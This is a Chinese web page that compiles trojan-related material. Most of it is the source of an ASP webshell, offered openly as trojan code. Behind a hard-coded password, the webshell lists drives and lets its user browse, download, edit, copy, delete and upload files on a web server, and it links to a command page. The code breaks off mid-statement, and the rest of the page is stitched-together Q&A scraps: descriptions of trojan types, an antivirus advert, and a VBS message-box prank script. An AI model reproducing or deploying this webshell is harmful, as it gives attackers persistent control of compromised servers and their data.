本文目录一览：
- 1、木马程序源码
- 2、可以打开的手机病毒代码是什么
- 3、木马网络病毒怎样制作
木马程序源码
一个asp木马：
＜%@ LANGUAGE = VBScript.Encode codepage ="936" %＞
＜%Server.ScriptTimeOut=5000%＞
＜object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"＞＜/object＞
＜object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"＞＜/object＞
＜object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"＞＜/object＞
＜%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes＜1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) ＜ iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) ＞ 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)", "sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes＞0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath ＜＞ "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath ＜＞ "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb "?q=list.asp"
else %＞
＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜meta name="GENERATOR" content="Microsoft FrontPage 3.0"＞
＜/head＞
＜body＞
＜%if request.form("password")＜＞"" then
response.write "Password Error!"
end if
%＞
＜table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0"＞
＜tr＞
＜td width="100%" height="31" bgcolor="#000080"＞＜p align="center"＞＜font color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="100%" height="46"＞＜form method="POST" action="＜%=rseb%＞?q=＜%=rseb%＞"＞
＜div align="center"＞＜center＞＜p＞Enter Password：＜input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"＞
＜input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"＞＜/p＞
＜/center＞＜/div＞
＜/form＞
＜/td＞
＜/tr＞
＜/table＞
＜/body＞
＜/html＞
＜%end if%＞
＜%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("＜h1＞Error:＜/h1＞" strFilename " does not exist＜p＞")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("＜h1＞Error: ＜/h1＞" err.Description "＜p＞")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%＞
＜%case "list.asp"%＞
＜%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"＜a href='" rseb "?q=list.asppath="Request("oldpath")"attrib="attrib"'＞＜font color='#FF8000'＞■＜/font＞↑＜font color='ff2222'＞回上级目录＜/font＞＜/a＞＜br＞＜script language=vbscript＞"
For Each x In theSubFolders
%＞so "＜%=lpath%＞","＜%=x.Name%＞","＜%=request("path")%＞","＜%=attrib%＞"
＜%
Next
%＞＜/script＞＜%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"＜table border='0' width='100%' cellpadding='0'＞＜script language=vbscript＞"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%＞sf "＜%=showstring%＞","＜%=x.size%＞","＜%=x.type%＞","＜%=x.Attributes%＞","＜%=x.DateLastModified%＞","＜%=lpath%＞","＜%=x.name%＞","＜%=attrib%＞","＜%=x.name%＞"
＜%
Next
end if
Response.write"＜/script＞＜/table＞"
End Sub
%＞
＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜style type="text/css"＞
＜!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
--＞
＜/style＞
＜/head＞
＜script language="JavaScript"＞
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("＜%=rseb%＞?q=edit.aspattrib=＜%=request("attrib")%＞creat=yespath=＜%=lpath%＞"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("＜%=rseb%＞?q=edir.aspattrib=＜%=request("attrib")%＞op=creatpath=＜%=lpath%＞"+ls);}
return false;
}
＜/script＞
＜script language="vbscript"＞
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "＜tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""＞＜td width='50%'＞＜font color='#FF8000'＞＜font face=Wingdings＞+＜/font＞＜/font＞＜a href='" urlpath lpath xName "' target='_blank'＞＜strong＞" showstring "＜/strong＞＜/a＞＜/td＞＜td width='20%' align='right'＞" size "字节＜/td＞＜td width='30%'＞＜a href='#' title='类型：" type1 chr(10) "属性：" Attributes chr(10) "时间：" DateLastModified "'＞属性＜/a＞ ＜a href='＜%=rseb%＞?q=edit.asppath=" lpath xName "attrib=" attrib "' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞编辑＜/a＞ ＜a href="chr(34)"javascript: rmdir1('" lpath xName "')"chr(34)"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞ ＜a href='#' onclick=copyfile('" lpath Name "')＞＜font color='#FF8000' ＞＜/font＞复制＜/a＞ ＜a href='＜%=rseb%＞?q=down.asppath=＜%=cpath%＞\"xName"attrib=" attrib "' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞下载＜/a＞＜/td＞＜/tr＞"
end sub
sub so(lpath,xName,path,attrib)
document.write "＜a href='＜%=rseb%＞?q=list.asppath=" lpath xName "oldpath=" path "attrib=" attrib "'＞└＜font color='#FF8000'＞＜font face=Wingdings＞1＜/font＞＜/font＞ " xName "＜/a＞ ＜a href="chr(34)"javascript: rmdir('" lpath xName "')"chr(34)"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞＜br＞"
end sub
sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"Chr(13)Chr(10)"文件为："ls) then
window.open("＜%=rseb%＞?q=edit.asppath=" ls "op=delattrib=＜%=request("attrib")%＞")
end if
end sub
sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为："ls) then
window.open("＜%=rseb%＞?q=edir.asppath="ls"op=delattrib=＜%=request("attrib")%＞")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件：" sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10) "[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="＜%=request("attrib")%＞"
if dfile＜＞"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib＜＞"true" then
alert "对不起，你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径：["dfile"]"
exit sub
end if
else
lp="＜%=lpath%＞"
end if
window.open("＜%=rseb%＞?q=edit.asppath="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)
else
alert"您没有输入文件名！"
end If
end sub
＜/script＞
＜body＞
＜table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0"＞
＜tr＞
＜td width="755" bgcolor="#000080" colspan="2" height="23"＞＜p align="center"＞＜font size="3"
color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※换盘：＜span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"＞＜%
For Each thing in oFileSys.Drives
Response.write "＜font face=Wingdings＞:＜/font＞＜a href='" rseb "?q=list.asppath="thing.DriveLetter":attrib=true'＞"thing.DriveLetter":＜/a＞"
NEXT
%＞ ＜/span＞ 地址：
＜%= "\\" oScriptNet.ComputerName "\" oScriptNet.UserName %＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※＜%
if Request("attrib")="true" then
response.write "＜a href='" rseb "?q=list.asp'＞切到相对路径＜/a＞"
else
response.write "＜a href='" rseb "?attrib=trueq=list.asp'＞切到绝对路径＜/a＞"
end if
%＞ ※绝对:＜span
style="background-color: rgb(255,255,255)"＞＜%=cpath%＞＜/span＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※当前＜font color="#FF8000"＞＜font face=Wingdings＞1＜/font＞＜/font＞:＜span style="background-color: rgb(255,255,255)"＞＜%=lpath%＞＜/span＞ ＜/td＞
＜/tr＞＜form name="form1" method="post" action="＜%=rseb%＞?q=upfile.asp" target="_blank" enctype="multipart/form-data"＞
＜tr＞＜td bgcolor="#C0C0C0" colspan="2" style="height: 20px"＞
编辑|
＜input class="111d-bed5-ebab-76ad tx1" type="text" name="filename" size="20"＞
＜input class="bed5-ebab-76ad-82ac tx1" type="button" value="建文" onclick="crfile(form1.filename.value)"＞
＜input class="ebab-76ad-82ac-0690 tx1" type="button" value="建目" onclick="crdir(form1.filename.value)"＞
＜input type="file" name="file1" class="76ad-82ac-0690-9be9 tx1" style="width:100" value=""＞
＜input type="text" name="filepath" class="82ac-0690-9be9-b385 tx1" style="width:100" value="＜%=cpath%＞"＞
＜input type="hidden" name="act" value="upload"＞
＜input type="hidden" name="upcount" class="0690-9be9-b385-a696 tx" value="1"＞
＜input class="9be9-b385-a696-8874 tx1" type="submit" value="上传"＞
＜input class="b385-a696-8874-077e tx1" type="button" onclick="window.open('＜%=rseb%＞?q=cmd.asp','_blank')" value="命令"＞
＜input class="a696-8874-077e-47cd tx1" type="button" onclick="window.open('＜%=rseb%＞?q=test.asp','_blank')" value="配置"＞
＜input class="8874-077e-47cd-21ff tx1" type="button" onclick="window.open('＜%=rseb%＞?q=p.asp','_blank')" value="nfso"＞
＜/td＞
＜/td＞
＜/tr＞＜/form＞
＜tr＞
＜td width="169" valign="top" bgcolor="#C8E3FF"＞＜%Call GetFolder()%＞
＜/td＞
＜td width="582" valign="top" bgcolor="#FFefdf"＞＜%Call GetFile()%＞
＜/td＞
＜/tr＞
＜/table＞
＜%else
response.write "Password Error!"
response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%case "edit.asp"%＞
＜html＞
＜head＞
＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞
＜title＞编辑源代码＜/title＞
＜style＞
＜!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞
＜body＞
＜% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "＜script＞alert('删除成功！要刷新才能看到效果');window.close();＜/script＞"
else
if request("op")="copy" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.copy dsfile
%＞
＜script language=vbscript＞
msgbox "源文件：＜%=whichfile%＞" vbcrlf "目的文件:＜%=dsfile%＞" vbcrlf "复制成功！要刷新才能看到效果!"
window.close()
＜/script＞
＜%
else
if request.form("text")="" then
if Request("creat")＜＞"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%＞
＜form method="POST" action="＜%=rseb%＞?q=edit.asp"＞
＜input type="hidden" name="attrib" value="＜%=Request("attrib")%＞"＞＜table border="0"
width="700" cellpadding="0"＞
＜tr＞
＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜%=httpt%＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞文件名：＜input type="text" name="path" size="45"
value="＜%=Request("path")%＞ "＞直接更改文件名，相当于“另存为”＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞＜textarea rows="25" name="text" cols="90"＞＜%=thisline%＞＜/textarea＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#FFDBCA"＞＜div align="center"＞＜center＞＜p＞＜input type="submit"
value="提交" name="B1"＞＜input type="reset" value="复原" name="B2"＞＜/td＞
＜/tr＞
＜/table＞
＜/form＞
＜%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "＜script＞alert('修改成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
end if
else
response.write "Password Error!"
response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%case "edir.asp"%＞
＜html＞
＜head＞
＜meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"＞
＜title＞目录操作＜/title＞
＜style＞
＜!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞
＜body＞
＜% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "＜script＞alert('删除的目录为:" whichdir "删除成功！要刷新才能看到效果');window.close();＜/script＞"
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "＜script＞alert('建立的目录为:" whichdir "建立成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
else
response.write "Password Error!"
response.write "＜a href='" rseb "?q=" rseb "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)＜＞"/" then formPath=formPath"/"
end if
iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize＞
可以打开的手机病毒代码是什么
可以打开的手机病毒代码是什么
1、木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。
2、木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
木马网络病毒怎样制作
问题一：木马和病毒是怎么做出来的呢？ 哈哈...木马和病毒都属于执行程序...
木马（Trojan）这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
“木马”程序是目前比较流行的病毒文件，与一般的病毒不同，它不会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装吸引用户下载执行，向施种木马者提供打开被种者电脑的门户，使施种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似，但由于远程控制软件是“善意”的控制，因此通常不具有隐蔽性；“木马”则完全相反，木马要达到的是“偷窃”性的远程控制，如果没有很强的隐蔽性的话，那就是“毫无价值”的。
它是指通过一段特定的程序（木马程序）来控制另一台计算机。木马通常有两个可执行程序：一个是客户端，即控制端，另一个是服务端，即被控制端。植入被种者电脑的是“服务器”部分，而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后，被种者的电脑就会有一个或几个端口被打开，使黑客可以利用这些打开的端口进入电脑系统，安全和个人隐私也就全无保障了！ 木马的设计者为了防止木马被发现，而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接，其控制端将享有服务端的大部分操作权限，例如给计算机增加口令，浏览、移动、复制、删除文件，修改注册表，更改计算机配置等。
随着病毒编写技术的发展，木马程序对用户的威胁越来越大，尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己，使普通用户很难在中毒后发觉。
木马得种类
1. 网络游戏木马
随着网络在线游戏的普及和升温，我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时，以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。
网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。
网络游戏木马的种类和数量，在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后，往往在一到两个星期内，就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。
2. 网银木马
网银木马是针对网上交易系统编写的木马病毒，其目的是盗取用户的卡号、密码，甚至安全证书。此类木马种类数量虽然比不上网游木马，但它的危害更加直接，受害用户的损失更加惨重。
网银木马通常针对性较强，木马作者可能首先对某银行的网上交易系统进行仔细分析，然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒，在用户进入工行网银登录页面时，会自动把页面换成安全性能较差、但依然能够运转的老版页面，然后记录用户在此页面上填写的卡号和密码；“网银大盗3”利用招行网银专业版的备份安全证书功能，可以盗取安全证书；2005年的“新网银大盗”，采用API Hook等技术干扰网银登录安全控件的运行。
随着我国网上交易的普及，受到外来网银木马威胁的用户也在不断增加。
3. 即时通讯软件木马
现在，国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种：
一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息，目的在于让收到消息的用户......
问题二：木马病毒怎么制作 你懂的电脑程序编程吗，其实所谓的木马病毒也就是非法程序，如果你不懂编程和你说是对牛弹琴，不要害人了～还是研究一下怎么把你的人生搞个木马吧，让自己多活几年长命百岁吧！（忠告哦！）
问题三：怎么制作木马病毒 5分 这是个比较复杂的问题，病毒开发不同于普通应用开发，需要更广泛的和更深入的编成技术 系统底层问题：截取屏幕、Hook鼠标键盘 网络问题：涉及到拦截数据报文，加解密数据 反侦测问题：隐藏进程…………学编程2~3个月，用Delphi之类的软件，一般就可以开发普通应用程序 VC++最多6个月，也能搞出些东西 但要搞病毒木马等，先学3年再考虑。
问题四：制造木马病毒是违法的么？ 制造并传播是犯罪
问题五：如何制作并使用木马病毒，以及他的作用和功能 木马病毒是指以非法手段达到破坏，盗取，更改目的的可执行文件。要想制作，首先要有稳扎的编程基础，其次。。。。。你为何要制作木马，编程牛逼去做好事吧
问题六：木马病毒是怎么制造出来的呢？ 木马病毒就是一种程序，这种程序专偷染上病毒电脑的用户名和密码，从而盗取金钱！
问题七：病毒木马是怎么制作的 也是程序，会写代码、编程 就会做。
最厉害的病毒是烧主板。
问题八：木马病毒制作软件有哪些 “木马”程序是目前
比较流行的病毒文件，与一般的
病毒不同，它不会自我繁殖，也
并不 “刻意”地去感染其他文件
，它通过将自身伪装吸引用户下
载执行，向施种木马者提供打开
被 种者电脑的门户， 使施种者
可以任意毁坏、 窃取被种者的文
件， 甚至远程操控被种者的电脑
。 “木马”与计算机网络中常常
要用到的远程控制软件有些相似
，但由于远程控制软件是“善意
” 的控制，因此通常不具有隐蔽
性；“木马”则完全相反，木马
要达到的是“偷窃”性的远程控
制， 如果没有很强的隐蔽性的话
，那就是“毫无价值”的。
问题九：木马病毒怎么做的啊？ 木马是C语言编写出来的，不过建议楼主不要做木马，害人害己
如果楼主中了木马建议马上查杀
建议楼主下载安装腾讯电脑管家来进行杀毒，
重启电脑按F8进入安全模式--打开腾讯电脑管家--闪电杀毒--全盘扫描--完成重启电脑就可以了，
腾讯电脑管家应用了具有“自学习能力”的自研第二代“鹰眼”引擎，
业界首创将CPU虚拟执行技术运用到杀毒软件中，
能够根除顽固病毒、大幅度提升深度查杀能力，
并且大大降低了杀毒软件对用户电脑系统资源的占用率。
同时，沿用“4+1”多引擎架构保证了腾讯电脑管家病毒查杀的稳定性。
误杀率也极低，深受广大用户的认可。
问题十：怎么制作游戏木马病毒 楼主您好
dim s
do until s=500
s=s+1
msgbox 哥们，给我按500次回车吧,64
loop 这是一个无害病毒代码
1. 先建立一个 文本文档（txt）
2. 打开 输入以上代码
3 保存4. 重命名这个文本文档 把 后缀名 .TXT 改为 .VBE
无害整人病毒就完成了
如果楼主想知道 更多代码 加 Q982862478 显示后缀名过程 打开我的电脑 工具 文件夹选项 查看
望采纳